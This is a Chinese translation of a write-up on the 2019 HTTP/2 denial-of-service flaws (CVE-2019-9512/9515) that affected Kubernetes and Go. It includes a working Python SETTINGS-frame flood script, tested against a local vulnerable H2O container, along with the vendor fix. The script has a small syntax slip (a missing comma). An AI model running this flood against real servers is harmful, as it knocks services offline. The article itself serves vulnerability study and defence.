HTTP/2 最新漏洞,直指 Kubernetes!

640

Java技术栈

www.javastack.cn

优秀的Java技术公众号


在这个数据、应用横行的时代,漏洞的出现早已屡见不鲜。在尚未造成大面积危害之前,我们该如何做好防御措施?或许从过往经常发生漏洞的事件中我们能够得到一些启发。

近日,Netflix、Google 及 CERT/CC 披露了 HTTP/2 相关的 8 个安全漏洞,就连用来打造 Kubernetes 的 Go 语言也受到其中两个漏洞的波及,导致 Kubernetes 所有版本都受到相关漏洞影响,可能造成服务阻断。不过好在现在漏洞已修复,而我们在这个过程中又可以学习到什么?


以下为译文:
几周前,Netflix公开了许多第三方HTTP/2实现中都存在的资源耗尽漏洞——由Jonathan Looney发现。该漏洞会直接影响Kubernetes中的HTTP/2端点(由net/http、x/net/http2等GoLang库实现),还会影响到nginx等其他项目。甚至还有人为这个漏洞画了个标志。
640?wx_fmt=png
虽然人们对DoS的漏洞见怪不怪了,但我没有太多有关HTTP/2的经验,特别是在传输层,所以我决定利用这次机会深入了解HTTP/2的规范及其工作原理。

1、背景

为了理解HTTP/2实现中的各种弱点,你需要深刻地理解HTTP/1.1和HTTP/2之间的基本差异。
更多详细信息,我推荐你阅读Google的HTTP/2简介(https://developers.google.com/web/fundamentals/performance/http2/),在文本中,我只介绍几个关键点。
HTTP/2引入了一个与HTTP/1.1的数据传输有显著差异的功能:通过单个TCP连接多路复用多个数据交换。该功能为HTTP/2带来了显著的性能优势,但它本身需要一些额外的流控制逻辑。简而言之,在HTTP/2中,单个TCP连接可以携带多个流,这些流由包含帧序列的多个消息组成。
640?wx_fmt=png
从上图中可以看出,HTTP/2与标准的HTTP的请求-响应语法非常接近,只不过这些请求和响应封装在了包含相关帧(HEADERS和DATA)的HTTP/2消息流中。这个规范中有许多其他帧类型,主要与流控制相关,熟悉HTTP/1.1模型的人可能并不了解这些类型:


  • PRIORITY

  • RST_STREAM

  • SETTINGS

  • PUSH_PROMISE

  • PING

  • GOAWAY

  • WINDOW_UPDATE

  • CONTINUATION


2、漏洞

下面让我们来看一看CVE-2019-9512和CVE-2019-9515,二者分别会利用PING和空SETTINGS帧发送大量消息到HTTP/2的监听进程。
最初的公告表明,恶意客户端会将这些帧发送到服务器上,迫使服务器生成响应,但客户端不会读取响应,它们会持续发送大量消息,最终可能耗尽服务器的CPU和内存。
640?wx_fmt=png
请注意,普通的客户端通常不会持续发送PING帧数据流,这只是为了比较正常的客户端数据交换与恶意客户端的攻击行为而举的例子。

3、概念验证

由于没有找到公开的概念验证程序,所以我决定编写一个,然后找一个未修复的本地目标进行测试。H2O似乎是一个不错的选择,所以我选择了他们易受攻击的docker镜像版本,并发送了如下curl测试请求:
640?wx_fmt=png
如上所示,curl请求的响应头部确认该服务器支持HTTP/2。现在我找到了一个易受攻击的目标,接下来开始编写入侵代码——这里我们只关心SETTINGS帧的洪水攻击:
攻击者发送一系列SETTINGS帧。由于RFC要求服务器针对每个SETTINGS帧回复一个确认,因此空SETTINGS帧几乎等同于ping的行为。根据该数据的队列效率,这些请求可能会过度消耗CPU或内存(或两者兼有),最终导致服务器拒绝访问。
这种攻击看起来很简单:我们只需要重复发送空SETTINGS帧,直到目标服务降级为止。看似就这么简单:我们只需要通过发送HTTP/2的引导帧来启动连接。下面是Wireshark截获的连接引导帧:
640?wx_fmt=png
接下来,我们只需要一个空SETTINGS帧的结构:
640?wx_fmt=png
在收集到所需的二进制消息帧的示例之后,我们就可以编写攻击循环了(仅用于研究目的)。
import socket
import sys
import time
class SettingsFlood:
    SETTINGS_FRAME = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
    PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00*\x04\x00\x00\x00' \
               b'\x00\x00\x00\x01\x00\x00\x10\x00\x00\x02\x00\x00\x00\x01' \
               b'\x00\x04\x00\x00\xff\xff\x00\x05\x00\x00@\x00\x00\x08\x00' \
               b'\x00\x00\x00\x00\x03\x00\x00\x00d\x00\x06\x00\x01\x00\x00'
    def __init__(self, ip, port=80, socket_count=200):
        self._ip = ip
        self._port = port
        self._sockets = [self.create_socket() for _ in range(socket_count)]
    def create_socket(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((self._ip, self._port))
            s.send(self.PREAMBLE)
            return s
        except socket.error as se:
            print("Error: "+str(se))
            time.sleep(0.5)
            return self.create_socket()
    def attack(self, timeout=sys.maxsize, sleep=1):
        t, i = time.time(), 0
        while time.time() - t < timeout:
            for s in self._sockets:
                try:
                    s.send(self.SETTINGS_FRAME)
                except socket.error:
                    self._sockets.remove(s)
                    self._sockets.append(self.create_socket())
                time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
    dos = SettingsFlood("127.0.0.1"8080, socket_count=1500)
    dos.attack(timeout=60*10*10)

在针对测试容器运行上述脚本并发送另一个curl请求后,很明显攻击开始按照计划展开了——请求在等待服务器响应时挂起:
640?wx_fmt=png

4、修复

大多数受影响的服务商都针对这些问题发布了补丁,他们采用了与H2O和GoLang类似的方法:限制发送队列中控制帧的数量。

作者:Randy Westergren

原文:https://randywestergren.com/a-closer-look-at-recent-http-2-vulnerabilities-affecting-k8s-and-other-implementations/

译者:弯月,责编:屠敏,CSDN 出品

- END -
推荐阅读:
1、

2、

3、

4、

5、

关注Java技术栈公众号在后台回复:Java,可获取一份栈长整理的最新Java 技术干货。

640

点击「阅读原文」和栈长学更多~

posted @ 2019-10-10 09:32  栈长  阅读(535)  评论(0编辑  收藏  举报